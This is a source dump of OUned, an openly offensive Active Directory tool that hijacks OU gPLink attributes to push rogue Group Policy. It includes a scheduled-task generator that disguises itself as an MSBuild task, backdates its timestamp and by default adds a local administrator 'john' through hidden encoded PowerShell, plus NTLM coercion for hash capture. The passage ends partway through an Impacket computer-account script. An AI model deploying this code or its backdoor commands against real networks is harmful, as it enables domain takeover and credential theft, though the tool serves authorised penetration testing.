├── GPT_out └── .placeholder ├── cleaning └── .placeholder ├── requirements.txt ├── conf.py ├── helpers ├── version_utils.py ├── forwarder.py ├── ldap_utils.py ├── clean_utils.py ├── smb_utils.py └── scheduledtask_utils.py ├── .gitignore ├── config.example.ini ├── README.md ├── addcomputer_LDAP_spn.py └── OUned.py /GPT_out/.placeholder: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /cleaning/.placeholder: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | ldap3 2 | impacket 3 | dnspython 4 | typer[all] 5 | gpblib @ git+https://github.com/synacktiv/gpblib@master#egg=gpblib 6 | -------------------------------------------------------------------------------- /conf.py: -------------------------------------------------------------------------------- 1 | from enum import Enum 2 | 3 | class GPOTypes(str, Enum): 4 | user = "user" 5 | computer = "computer" 6 | 7 | class SMBModes(str, Enum): 8 | embedded = "embedded" 9 | forwarded = "forwarded" 10 | 11 | class bcolors: 12 | HEADER = '\033[95m' 13 | OKBLUE = '\033[94m' 14 | OKCYAN = '\033[96m' 15 | OKGREEN = '\033[92m' 16 | WARNING = '\033[93m' 17 | FAIL = '\033[91m' 18 | ENDC = '\033[0m' 19 | BOLD = '\033[1m' 20 | UNDERLINE = '\033[4m' 21 | 22 | OUTPUT_DIR = "GPT_out" 23 | CLEAN_DIR = "cleaning" -------------------------------------------------------------------------------- /helpers/version_utils.py: -------------------------------------------------------------------------------- 1 | import os 2 | import re 3 | 4 | from helpers.ldap_utils import get_attribute 5 | from conf import OUTPUT_DIR 6 | 7 | def update_GPT_version_number(ldap_session, gpo_dn, gpo_type): 8 | versionNumber = int(get_attribute(ldap_session, gpo_dn, "versionNumber")) 9 | if gpo_type == "computer": 10 | updated_version = versionNumber + 1 11 | else: 12 | updated_version = versionNumber + 65536 13 | with open(os.path.join(OUTPUT_DIR, "gpt.ini"), 'r', errors='surrogateescape') as f: 14 | content = f.read() 15 | new_content = re.sub('=[0-9]+', '={}'.format(updated_version), content) 16 | with open(os.path.join(OUTPUT_DIR, "gpt.ini"), 'w', errors='surrogateescape') as f: 17 | f.write(new_content) 18 | -------------------------------------------------------------------------------- /helpers/forwarder.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | import _thread as thread 4 | import time 5 | 6 | def server(*settings): 7 | try: 8 | msg = f" - client is querying its GPC (LDAP), forwarding to {settings[2]}:{settings[3]}" if settings[1] == 389 else f" - client is querying its GPT (SMB), forwarding to {settings[2]}:{settings[3]}" 9 | dock_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 10 | dock_socket.bind((settings[0], settings[1])) 11 | dock_socket.listen(5) 12 | while True: 13 | client_socket, upstream_addr = dock_socket.accept() 14 | print(f"[FORWARDER] Incoming connection from {upstream_addr}" + msg) 15 | server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 | server_socket.connect((settings[2], settings[3])) 17 | thread.start_new_thread(forward, (client_socket, server_socket)) 18 | thread.start_new_thread(forward, (server_socket, client_socket)) 19 | finally: 20 | thread.start_new_thread(server, settings) 21 | 22 | def forward(source, destination): 23 | string = ' ' 24 | while string: 25 | try: 26 | string = source.recv(1024) 27 | if string: 28 | destination.sendall(string) 29 | else: 30 | raise ConnectionResetError() 31 | except ConnectionResetError: 32 | pass 33 | -------------------------------------------------------------------------------- /helpers/ldap_utils.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from ldap3 import Server, Connection, SUBTREE, MODIFY_REPLACE, MODIFY_DELETE, ALL, NTLM 4 | 5 | def ldap_check_credentials(ldap_ip, username, password, domain): 6 | try: 7 | server = Server(f'ldap://{ldap_ip}:389', get_info=ALL) 8 | conn = Connection(server, user=f"{domain}\\{username}", password=password, authentication=NTLM, auto_bind=True) 9 | conn.unbind() 10 | return True 11 | except: 12 | import traceback 13 | traceback.print_exc() 14 | return False 15 | 16 | def get_attribute(ldap_session, dn, attribute): 17 | try: 18 | ldap_session.search( 19 | search_base=dn, 20 | search_filter='(objectClass=*)', 21 | search_scope=SUBTREE, 22 | attributes=[attribute,], 23 | ) 24 | 25 | searchResult = ldap_session.response[0] 26 | value = searchResult['attributes'][attribute] 27 | return value 28 | except: 29 | logging.error(f"‼️ Error: couldn't find attribute {attribute} for dn {dn}. Things will probably break.") 30 | return None 31 | 32 | 33 | def modify_attribute(ldap_session, dn, attribute, new_value): 34 | result = ldap_session.modify(dn, {attribute: [(MODIFY_REPLACE, [new_value])]}) 35 | return result 36 | 37 | def unset_attribute(ldap_session, dn, attribute): 38 | result = ldap_session.modify(dn, {attribute: [(MODIFY_DELETE, [])]}) 39 | return result 40 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Editors 2 | .vscode/ 3 | .idea/ 4 | 5 | config.ini 6 | 7 | # Vagrant 8 | .vagrant/ 9 | 10 | # Mac/OSX 11 | .DS_Store 12 | 13 | # Windows 14 | Thumbs.db 15 | 16 | # Source for the following rules: https://raw.githubusercontent.com/github/gitignore/master/Python.gitignore 17 | # Byte-compiled / optimized / DLL files 18 | __pycache__/ 19 | *.py[cod] 20 | *$py.class 21 | 22 | # C extensions 23 | *.so 24 | 25 | # Distribution / packaging 26 | .Python 27 | build/ 28 | develop-eggs/ 29 | dist/ 30 | downloads/ 31 | eggs/ 32 | .eggs/ 33 | lib/ 34 | lib64/ 35 | parts/ 36 | sdist/ 37 | var/ 38 | wheels/ 39 | *.egg-info/ 40 | .installed.cfg 41 | *.egg 42 | MANIFEST 43 | 44 | # PyInstaller 45 | # Usually these files are written by a python script from a template 46 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 47 | *.manifest 48 | *.spec 49 | 50 | # Installer logs 51 | pip-log.txt 52 | pip-delete-this-directory.txt 53 | 54 | # Unit test / coverage reports 55 | htmlcov/ 56 | .tox/ 57 | .nox/ 58 | .coverage 59 | .coverage.* 60 | .cache 61 | nosetests.xml 62 | coverage.xml 63 | *.cover 64 | .hypothesis/ 65 | .pytest_cache/ 66 | 67 | # Translations 68 | *.mo 69 | *.pot 70 | 71 | # Django stuff: 72 | *.log 73 | local_settings.py 74 | db.sqlite3 75 | 76 | # Flask stuff: 77 | instance/ 78 | .webassets-cache 79 | 80 | # Scrapy stuff: 81 | .scrapy 82 | 83 | # Sphinx documentation 84 | docs/_build/ 85 | 86 | # PyBuilder 87 | target/ 88 | 89 | # Jupyter Notebook 90 | .ipynb_checkpoints 91 | 92 | # IPython 93 | profile_default/ 94 | ipython_config.py 95 | 96 | # pyenv 97 | .python-version 98 | 99 | # celery beat schedule file 100 | celerybeat-schedule 101 | 102 | # SageMath parsed files 103 | *.sage.py 104 | 105 | # Environments 106 | .env 107 | .venv 108 | env/ 109 | venv/ 110 | ENV/ 111 | env.bak/ 112 | venv.bak/ 113 | 114 | # Spyder project settings 115 | .spyderproject 116 | .spyproject 117 | 118 | # Rope project settings 119 | .ropeproject 120 | 121 | # mkdocs documentation 122 | /site 123 | 124 | # mypy 125 | .mypy_cache/ 126 | .dmypy.json 127 | dmypy.json 128 | 129 | -------------------------------------------------------------------------------- /helpers/clean_utils.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | import configparser 4 | 5 | from helpers.ldap_utils import unset_attribute, modify_attribute 6 | from conf import CLEAN_DIR, bcolors 7 | 8 | def init_save_file(containerFQDN): 9 | 10 | timestr = time.strftime("%Y_%m_%d-%H_%M_%S") 11 | save_dir = os.path.join(CLEAN_DIR, containerFQDN, timestr) 12 | os.makedirs(save_dir, exist_ok=True) 13 | os.mkdir(os.path.join(save_dir, "revert")) 14 | save_file_name = os.path.join(save_dir, "cleaning.txt") 15 | 16 | open(save_file_name, "x") 17 | return save_dir, save_file_name 18 | 19 | def save_attribute_value(attribute_name, value, save_file, target, dn): 20 | with open(save_file, 'a') as f: 21 | to_write = f"[{attribute_name}]\ndn={dn}\ntarget={target}\nold_value={value}\n\n" 22 | f.write(to_write) 23 | 24 | def clean(domain_ldap_session, ldap_server_ldap_session, save_file): 25 | to_clean = configparser.ConfigParser() 26 | to_clean.read(save_file) 27 | 28 | for key in to_clean: 29 | if key == "DEFAULT": 30 | continue 31 | if to_clean[key]['target'] == "domain": 32 | session = domain_ldap_session 33 | else: 34 | session = ldap_server_ldap_session 35 | dn = to_clean[key]['dn'] 36 | 37 | if 'old_value' not in to_clean[key]: 38 | print(f"{bcolors.FAIL}[-] No old value saved for {key}. Skipping.{bcolors.ENDC}") 39 | continue 40 | if session == None: 41 | print(f"{bcolors.FAIL}[-] No session to restore {key}. Skipping.{bcolors.ENDC}") 42 | continue 43 | print(f"[*] Restoring value of {key} on '{to_clean[key]['target']}' - {to_clean[key]['old_value']}") 44 | if to_clean[key]['old_value'] == '[]' or to_clean[key]['old_value'] == '' or to_clean[key]['old_value'] == 'None': 45 | result = unset_attribute(session, dn, key) 46 | else: 47 | result = modify_attribute(session, dn, key, to_clean[key]['old_value']) 48 | 49 | if result is True: 50 | print(f"{bcolors.OKGREEN}[+] Successfully restored {key} on '{to_clean[key]['target']}'{bcolors.ENDC}") 51 | else: 52 | print(f"{bcolors.FAIL}[-] Couldn't clean value for {key} on '{to_clean[key]['target']}'. You can try to re-run OUned with the {bcolors.ENDC}{bcolors.BOLD}--just-clean{bcolors.ENDC} flag, or clean LDAP attributes manually{bcolors.ENDC}") -------------------------------------------------------------------------------- /config.example.ini: -------------------------------------------------------------------------------- 1 | [GENERAL] 2 | # The target domain name 3 | domain=corp.com 4 | 5 | # The target DC. If not specified, defaults to the domain name 6 | #dc=192.168.123.10 7 | 8 | # The Distinguished Name of the target container 9 | containerDN=OU=SERVERS,DC=corp,DC=com 10 | 11 | # The username and password of the user having write permissions on the gPLink attribute of the target container 12 | username=naugustine 13 | password=Password1 14 | 15 | # The IP address of the attacker machine on the internal network 16 | attacker_ip=192.168.123.16 17 | 18 | # The command that should be executed by child objects. Specifying a command will inject an immediate Scheduled Task 19 | command=whoami > C:\poc.txt 20 | # Alternatively to the 'command' option, you can provide a module file with the GroupPolicyBackdoor syntax - see https://github.com/synacktiv/GroupPolicyBackdoor/wiki. 'Command' and 'module' are mutually exclusive 21 | # module=Scheduledtask_add_computer.ini 22 | 23 | # The kind of objects targeted ("computer" or "user") 24 | target_type=computer 25 | 26 | 27 | [LDAP] 28 | # The IP address of the dummy domain controller that will act as an LDAP server 29 | ldap_ip=192.168.125.245 30 | 31 | # Optional (used for sanity checks) - the hostname of the dummy domain controller 32 | ldap_hostname=WIN-TTEBC5VH747 33 | 34 | # The username and password of a domain administrator on the dummy domain controller 35 | ldap_username=ldapadm 36 | ldap_password=Password1! 37 | 38 | # The ID of the GPO (can be empty, only needs to exist) on the dummy domain controller 39 | gpo_id=7B7D6B23-26F8-4E4B-AF23-F9B9005167F6 40 | 41 | # The machine account name and password on the target domain that will be used to fake the LDAP server delivering the GPC 42 | ldap_machine_name=OUNED$ 43 | ldap_machine_password=some_very_long_random_password 44 | 45 | [SMB] 46 | # The SMB mode can be embedded or forwarded depending on the kind of object targeted 47 | smb_mode=embedded 48 | 49 | # The name of the SMB share. Can be anything for embedded mode, should match an existing share on SMB dummy domain controller for forwarded mode 50 | share_name=synacktiv 51 | 52 | # The IP address of the dummy domain controller that will act as a SMB server. Only useful in forwarded mode 53 | #smb_ip=192.168.126.206 54 | 55 | # The username and password of a user having write access to the share on the SMB dummy domain controller. Only useful in forwarded mode 56 | #smb_username=smbadm 57 | #smb_password=Password1! 58 | 59 | # The machine account name and password on the target domain that will be used to fake the SMB server delivering the GPT. Only useful in forwarded mode 60 | #smb_machine_name=OUNED2$ 61 | #smb_machine_password=some_very_long_random_password 62 | -------------------------------------------------------------------------------- /helpers/smb_utils.py: -------------------------------------------------------------------------------- 1 | import os 2 | import shutil 3 | import logging 4 | 5 | from functools import partial 6 | from conf import OUTPUT_DIR 7 | from impacket.smbconnection import SMBConnection 8 | 9 | def get_smb_connection(dc_ip, username, password, hash, domain): 10 | smb_session = SMBConnection(dc_ip, dc_ip) 11 | if hash is not None: 12 | smb_session.login(user=username, lmhash=hash.split(':')[0], nthash=hash.split(':')[1], password=None, domain=domain) 13 | else: 14 | smb_session.login(user=username, password=password, domain=domain) 15 | return smb_session 16 | 17 | 18 | def write_data_to_file(local_file_name, data): 19 | # Sometimes, the gpt.ini file will be stored in the SMB share as "GPT.INI", 20 | # which causes issues when the DC is then looking for it in our spoofed share. 21 | directory, filename = os.path.split(local_file_name) 22 | if filename == "GPT.INI": 23 | filename = filename.lower() 24 | local_file_name = os.path.join(directory, filename) 25 | 26 | with open(local_file_name, "wb") as local_file: 27 | local_file.write(data) 28 | 29 | def recursive_smb_download(smb_session, share, remote_path, local_path): 30 | items = smb_session.listPath(share, os.path.join(remote_path, '*')) 31 | 32 | for item in items: 33 | if item.is_directory(): 34 | if item.get_longname() == '.' or item.get_longname() == '..': 35 | continue 36 | subdirectory = os.path.join(local_path, item.get_longname()) 37 | os.makedirs(subdirectory, exist_ok=True) 38 | recursive_smb_download(smb_session, share, os.path.join(remote_path, item.get_longname()), subdirectory) 39 | 40 | else: 41 | callback = partial(write_data_to_file, os.path.join(local_path, item.get_longname())) 42 | smb_session.getFile(share, os.path.join(remote_path, item.get_longname()), callback) 43 | 44 | 45 | 46 | def download_initial_gpo(smb_session, domain, gpo_id): 47 | try: 48 | tid = smb_session.connectTree("SYSVOL") 49 | logging.info(f"Connected to SYSVOL share") 50 | except: 51 | logging.error(f"Unable to connect to SYSVOL share", exc_info=True) 52 | return False 53 | 54 | path = domain + "/Policies/{" + gpo_id + "}" 55 | 56 | try: 57 | shutil.rmtree(OUTPUT_DIR, ignore_errors=True) 58 | os.makedirs(OUTPUT_DIR, exist_ok=True) 59 | recursive_smb_download(smb_session, "SYSVOL", path, OUTPUT_DIR) 60 | logging.debug("Successfully cloned GPO {} from SYSVOL".format(gpo_id)) 61 | except: 62 | logging.error("Couldn't clone GPO {} (maybe it does not exist?)".format(gpo_id), exc_info=True) 63 | return False 64 | 65 | 66 | def upload_directory_to_share(smb_session, remote_share): 67 | try: 68 | for root, dirs, files in os.walk(OUTPUT_DIR): 69 | remote_subdir = os.path.relpath(root, OUTPUT_DIR) 70 | if remote_subdir != '.': 71 | smb_session.createDirectory(remote_share, remote_subdir) 72 | for file in files: 73 | local_file_path = os.path.join(root, file) 74 | remote_file_path = os.path.join(remote_subdir, file) 75 | with open(local_file_path, 'rb') as local_file: 76 | smb_session.putFile(remote_share, remote_file_path, local_file.read) 77 | except: 78 | import traceback 79 | traceback.print_exc() 80 | 81 | 82 | def recursive_smb_delete(smb_session, remote_share, root): 83 | items = smb_session.listPath(remote_share, root) 84 | for item in items: 85 | if item.is_directory(): 86 | if item.get_longname() not in ['.', '..']: 87 | new_root = root[:-1] + item.get_longname() + '/*' 88 | recursive_smb_delete(smb_session, remote_share, new_root) 89 | smb_session.deleteDirectory(remote_share, root[:-1] + item.get_longname()) 90 | else: 91 | smb_session.deleteFile(remote_share, root[:-1] + item.get_longname()) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # OUned 2 | 3 | The OUned project, an exploitation tool automating Organizational Units ACLs abuse through gPLink manipulation. 4 | 5 | For a detailed explanation regarding the principle behind the attack, the necessary setup as well as how to use the tool, you may refer to the 6 | associated article: 7 | https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory 8 | 9 | # Installation 10 | 11 | Installation can be performed by cloning the repository and installing the dependencies: 12 | 13 | ```bash 14 | $ git clone https://github.com/synacktiv/OUned 15 | $ python3 -m pip install -r requirements.txt 16 | ``` 17 | 18 | # Configuration file 19 | 20 | OUned arguments are provided through a configuration file - an example file is provided in the repository, `config.example.ini`. 21 | 22 | Each entry is described by a comment, but for detailed configuration instruction, please refer to the article mentioned in the introduction above. 23 | ```ini 24 | [GENERAL] 25 | # The target domain name 26 | domain=corp.com 27 | 28 | # The target DC. If not specified, defaults to the domain name 29 | #dc=192.168.123.10 30 | 31 | # The Distinguished Name of the target container 32 | containerDN=OU=SERVERS,DC=corp,DC=com 33 | 34 | # The username and password of the user having write permissions on the gPLink attribute of the target container 35 | username=naugustine 36 | password=Password1 37 | 38 | # The IP address of the attacker machine on the internal network 39 | attacker_ip=192.168.123.16 40 | 41 | # The command that should be executed by child objects. Specifying a command will inject an immediate Scheduled Task 42 | command=whoami > C:\poc.txt 43 | # Alternatively to the 'command' option, you can provide a module file with the GroupPolicyBackdoor syntax - see https://github.com/synacktiv/GroupPolicyBackdoor/wiki. 'Command' and 'module' are mutually exclusive 44 | # module=Scheduledtask_add_computer.ini 45 | 46 | # The kind of objects targeted ("computer" or "user") 47 | target_type=computer 48 | 49 | 50 | [LDAP] 51 | # The IP address of the dummy domain controller that will act as an LDAP server 52 | ldap_ip=192.168.125.245 53 | 54 | # Optional (used for sanity checks) - the hostname of the dummy domain controller 55 | ldap_hostname=WIN-TTEBC5VH747 56 | 57 | # The username and password of a domain administrator on the dummy domain controller 58 | ldap_username=ldapadm 59 | ldap_password=Password1! 60 | 61 | # The ID of the GPO (can be empty, only needs to exist) on the dummy domain controller 62 | gpo_id=7B7D6B23-26F8-4E4B-AF23-F9B9005167F6 63 | 64 | # The machine account name and password on the target domain that will be used to fake the LDAP server delivering the GPC 65 | ldap_machine_name=OUNED$ 66 | ldap_machine_password=some_very_long_random_password 67 | 68 | [SMB] 69 | # The SMB mode can be embedded or forwarded depending on the kind of object targeted 70 | smb_mode=embedded 71 | 72 | # The name of the SMB share. Can be anything for embedded mode, should match an existing share on SMB dummy domain controller for forwarded mode 73 | share_name=synacktiv 74 | 75 | # The IP address of the dummy domain controller that will act as a SMB server. Only useful in forwarded mode 76 | #smb_ip=192.168.126.206 77 | 78 | # The username and password of a user having write access to the share on the SMB dummy domain controller. Only useful in forwarded mode 79 | #smb_username=smbadm 80 | #smb_password=Password1! 81 | 82 | # The machine account name and password on the target domain that will be used to fake the SMB server delivering the GPT. Only useful in forwarded mode 83 | #smb_machine_name=OUNED2$ 84 | #smb_machine_password=some_very_long_random_password 85 | ``` 86 | 87 | # OUned usage 88 | 89 | The only mandatory argument when running OUned is the `--config` flag indicating the path to the configuration file. 90 | 91 | The `--just-coerce` and `coerce-to` flags are used for SMB authentication coercion mode, in which OUned will force SMB authentication from 92 | OU child objects to the specified destination - for more details, see the article linked in the introduction. 93 | 94 | Regarding the `--just-clean` flag, see the next section. 95 | 96 | ``` 97 | python3 OUned.py --help 98 | 99 | Usage: OUned.py [OPTIONS] 100 | 101 | ╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ 102 | │ * --config TEXT The configuration file for OUned [default: None] [required] │ 103 | │ --skip-checks Do not perform the various checks related to the exploitation setup │ 104 | │ --just-coerce Only coerce SMB NTLM authentication of OU child objects to the destination specified in the --coerce-to flag, or, if no destination is │ 105 | │ specified, to a local SMB server that will print their NetNTLMv2 hashes │ 106 | │ --coerce-to TEXT Coerce child objects SMB NTLM authentication to a specific destination - this argument should be an IP address [default: None] │ 107 | │ --just-clean This flag indicates that OUned should only perform cleaning actions from specified cleaning-file │ 108 | │ --cleaning-file TEXT The path to the cleaning file in case the --just-clean flag is used [default: None] │ 109 | │ --verbose Enable verbose output │ 110 | │ --help Show this message and exit. │ 111 | ╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ 112 | ``` 113 | 114 | # About cleaning 115 | 116 | By default and as explained in the article, OUned will perform cleaning actions and among others restore the original gPLink value in the target domain. In case the exploit could not exit properly, OUned creates a cleaning file each time the exploit is executed, that can be used later on to restore legitimate values by using the `--just-clean` flag; for instance: 117 | 118 | ```bash 119 | $ python3 OUned.py --config config.example.ini --just-clean --cleaning-file cleaning/FINANCE/2024_04_14-05_02_46.txt 120 | ``` 121 | -------------------------------------------------------------------------------- /helpers/scheduledtask_utils.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import logging 3 | import os 4 | import re 5 | import uuid 6 | from base64 import b64encode 7 | from datetime import datetime, timedelta 8 | from xml.sax.saxutils import escape 9 | import xml.etree.ElementTree as ET 10 | 11 | 12 | from conf import OUTPUT_DIR 13 | 14 | 15 | class ScheduledTask: 16 | def __init__(self, gpo_type="computer", name="", mod_date="", description="", powershell=False, command="", old_value=""): 17 | self._type = gpo_type 18 | 19 | if name: 20 | self._name = name 21 | else: 22 | self._name = "TASK_" + binascii.b2a_hex(os.urandom(4)).decode('ascii') 23 | 24 | if mod_date: 25 | self._mod_date = mod_date 26 | else: 27 | mod_date = datetime.now() - timedelta(days=30) 28 | self._mod_date = mod_date.strftime("%Y-%m-%d %H:%M:%S") 29 | self._guid = str(uuid.uuid4()).upper() 30 | self._author = "NT AUTHORITY\\System" 31 | if description: 32 | self._description = description 33 | else: 34 | self._description = "MSBuild build and release task" 35 | 36 | if powershell: 37 | self._shell = escape("powershell.exe") 38 | if command: 39 | self._command = escape('-windowstyle hidden -nop -enc {}'.format(b64encode(command.encode('UTF-16LE')).decode("utf-8"))) 40 | else: 41 | self._command = escape('-windowstyle hidden -nop -enc {}'.format(b64encode('net user john H4x00r123.. /add;net localgroup administrators john /add'.encode('UTF-16LE')).decode('utf-8'))) 42 | else: 43 | self._shell = escape('c:\\windows\\system32\\cmd.exe') 44 | if command: 45 | self._command = escape('/c "{}"'.format(command)) 46 | else: 47 | self._command = escape('/c "net user john H4x00r123.. /add && net localgroup administrators john /add"') 48 | 49 | logging.debug(self._shell + " " + self._command) 50 | self._old_value = old_value 51 | 52 | self._task_str_begin = f"""""" 53 | if self._type == "computer": 54 | self._task_str = f"""{self._author}{self._description}NT AUTHORITY\\SystemHighestAvailableS4UPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3{self._shell}{self._command}%LocalTimeXmlEx%%LocalTimeXmlEx%true""" 55 | else: 56 | self._task_str = f"""{self._author}{self._description}%LogonDomain%\%LogonUser%InteractiveTokenHighestAvailablePT10MPT1HtruefalseIgnoreNewtruetruetruetruefalsetruetruefalsefalsefalseP3D7PT0S%LocalTimeXmlEx%%LocalTimeXmlEx%true{self._shell}{self._command}""" 57 | 58 | self._task_str_end = f"""""" 59 | 60 | def generate_scheduled_task_xml(self): 61 | if self._old_value == "": 62 | return self._task_str_begin + self._task_str + self._task_str_end 63 | 64 | return re.sub(r"< */ *ScheduledTasks>", self._task_str.replace("\\", "\\\\") + self._task_str_end, self._old_value) 65 | 66 | def get_name(self): 67 | return self._name 68 | 69 | def parse_tasks(self, xml_tasks): 70 | elem = ET.fromstring(xml_tasks) 71 | tasks = [] 72 | for child in elem.findall("*"): 73 | task_type = child.tag 74 | task_properties = child.find("Properties") 75 | action = task_properties.get('action') 76 | name = task_properties.get('name') 77 | tasks.append([ 78 | action if action is not None else "?", 79 | name if name is not None else "", 80 | task_type if task_type is not None else "" 81 | ]) 82 | return tasks 83 | 84 | def write_scheduled_task(gpo_type, command, powershell): 85 | root_path = "Machine" if gpo_type == "computer" else "User" 86 | scheduled_tasks_path = os.path.join(OUTPUT_DIR, root_path, "Preferences", "ScheduledTasks", "ScheduledTasks.xml") 87 | 88 | if os.path.exists(scheduled_tasks_path): 89 | with open(scheduled_tasks_path, "r") as f: 90 | st_content = f.read() 91 | st = ScheduledTask(gpo_type=gpo_type, powershell=powershell, command=command, old_value=st_content) 92 | tasks = st.parse_tasks(st_content) 93 | new_content = st.generate_scheduled_task_xml() 94 | else: 95 | st_content = "" 96 | os.makedirs(os.path.join(OUTPUT_DIR, root_path, "Preferences", "ScheduledTasks"), exist_ok=True) 97 | st = ScheduledTask(gpo_type=gpo_type, powershell=powershell, command=command) 98 | new_content = st.generate_scheduled_task_xml() 99 | 100 | with open(scheduled_tasks_path, "w") as f: 101 | f.write(new_content) -------------------------------------------------------------------------------- /addcomputer_LDAP_spn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2022 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # This script will add a computer account to the domain and set its password. 12 | # Allows to use SAMR over SMB (this way is used by modern Windows computer when 13 | # adding machines through the GUI) and LDAPS. 14 | # Plain LDAP is not supported, as it doesn't allow setting the password. 15 | # 16 | # Author: 17 | # JaGoTu (@jagotu) 18 | # 19 | # Reference for: 20 | # SMB, SAMR, LDAP 21 | # 22 | # ToDo: 23 | # [ ]: Complete the process of joining a client computer to a domain via the SAMR protocol 24 | # 25 | 26 | from __future__ import division 27 | from __future__ import print_function 28 | from __future__ import unicode_literals 29 | 30 | from impacket import version 31 | from impacket.examples import logger 32 | from impacket.examples.utils import parse_credentials 33 | from impacket.dcerpc.v5 import samr, epm, transport 34 | from impacket.spnego import SPNEGO_NegTokenInit, TypesMech 35 | 36 | import ldap3 37 | import argparse 38 | import logging 39 | import sys 40 | import string 41 | import random 42 | import ssl 43 | from binascii import unhexlify 44 | 45 | 46 | class ADDCOMPUTER: 47 | def __init__(self, username, password, domain, cmdLineOptions): 48 | self.options = cmdLineOptions 49 | self.__username = username 50 | self.__password = password 51 | self.__domain = domain 52 | self.__lmhash = '' 53 | self.__nthash = '' 54 | self.__hashes = cmdLineOptions.hashes 55 | self.__aesKey = cmdLineOptions.aesKey 56 | self.__doKerberos = cmdLineOptions.k 57 | self.__target = cmdLineOptions.dc_host 58 | self.__kdcHost = cmdLineOptions.dc_host 59 | self.__computerName = cmdLineOptions.computer_name 60 | self.__computerPassword = cmdLineOptions.computer_pass 61 | self.__method = cmdLineOptions.method 62 | self.__port = cmdLineOptions.port 63 | self.__domainNetbios = cmdLineOptions.domain_netbios 64 | self.__noAdd = cmdLineOptions.no_add 65 | self.__delete = cmdLineOptions.delete 66 | self.__targetIp = cmdLineOptions.dc_ip 67 | self.__baseDN = cmdLineOptions.baseDN 68 | self.__computerGroup = cmdLineOptions.computer_group 69 | 70 | if self.__targetIp is not None: 71 | self.__kdcHost = self.__targetIp 72 | 73 | if self.__method not in ['SAMR', 'LDAPS']: 74 | raise ValueError("Unsupported method %s" % self.__method) 75 | 76 | if self.__doKerberos and cmdLineOptions.dc_host is None: 77 | raise ValueError("Kerberos auth requires DNS name of the target DC. Use -dc-host.") 78 | 79 | if self.__method == 'LDAPS' and not '.' in self.__domain: 80 | logging.warning('\'%s\' doesn\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain) 81 | 82 | if cmdLineOptions.hashes is not None: 83 | self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') 84 | 85 | if self.__computerName is None: 86 | if self.__noAdd: 87 | raise ValueError("You have to provide a computer name when using -no-add.") 88 | elif self.__delete: 89 | raise ValueError("You have to provide a computer name when using -delete.") 90 | else: 91 | if self.__computerName[-1] != '$': 92 | self.__computerName += '$' 93 | 94 | if self.__computerPassword is None: 95 | self.__computerPassword = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32)) 96 | 97 | if self.__target is None: 98 | if not '.' in self.__domain: 99 | logging.warning('No DC host set and \'%s\' doesn\'t look like a FQDN. DNS resolution of short names will probably fail.' % self.__domain) 100 | self.__target = self.__domain 101 | 102 | if self.__port is None: 103 | if self.__method == 'SAMR': 104 | self.__port = 445 105 | elif self.__method == 'LDAPS': 106 | self.__port = 636 107 | 108 | if self.__domainNetbios is None: 109 | self.__domainNetbios = self.__domain 110 | 111 | if self.__method == 'LDAPS' and self.__baseDN is None: 112 | # Create the baseDN 113 | domainParts = self.__domain.split('.') 114 | self.__baseDN = '' 115 | for i in domainParts: 116 | self.__baseDN += 'dc=%s,' % i 117 | # Remove last ',' 118 | self.__baseDN = self.__baseDN[:-1] 119 | 120 | if self.__method == 'LDAPS' and self.__computerGroup is None: 121 | self.__computerGroup = 'CN=Computers,' + self.__baseDN 122 | 123 | 124 | 125 | def run_samr(self): 126 | if self.__targetIp is not None: 127 | stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') 128 | else: 129 | stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np') 130 | rpctransport = transport.DCERPCTransportFactory(stringBinding) 131 | rpctransport.set_dport(self.__port) 132 | 133 | if self.__targetIp is not None: 134 | rpctransport.setRemoteHost(self.__targetIp) 135 | rpctransport.setRemoteName(self.__target) 136 | 137 | if hasattr(rpctransport, 'set_credentials'): 138 | # This method exists only for selected protocol sequences. 139 | rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, 140 | self.__nthash, self.__aesKey) 141 | 142 | rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) 143 | self.doSAMRAdd(rpctransport) 144 | 145 | def run_ldaps(self): 146 | connectTo = self.__target 147 | if self.__targetIp is not None: 148 | connectTo = self.__targetIp 149 | try: 150 | user = '%s\\%s' % (self.__domain, self.__username) 151 | tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers='ALL:@SECLEVEL=0') 152 | try: 153 | ldapServer = ldap3.Server(connectTo, use_ssl=True, port=self.__port, get_info=ldap3.ALL, tls=tls) 154 | if self.__doKerberos: 155 | ldapConn = ldap3.Connection(ldapServer) 156 | self.LDAP3KerberosLogin(ldapConn, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, 157 | self.__aesKey, kdcHost=self.__kdcHost) 158 | elif self.__hashes is not None: 159 | ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__hashes, authentication=ldap3.NTLM) 160 | ldapConn.bind() 161 | else: 162 | ldapConn = 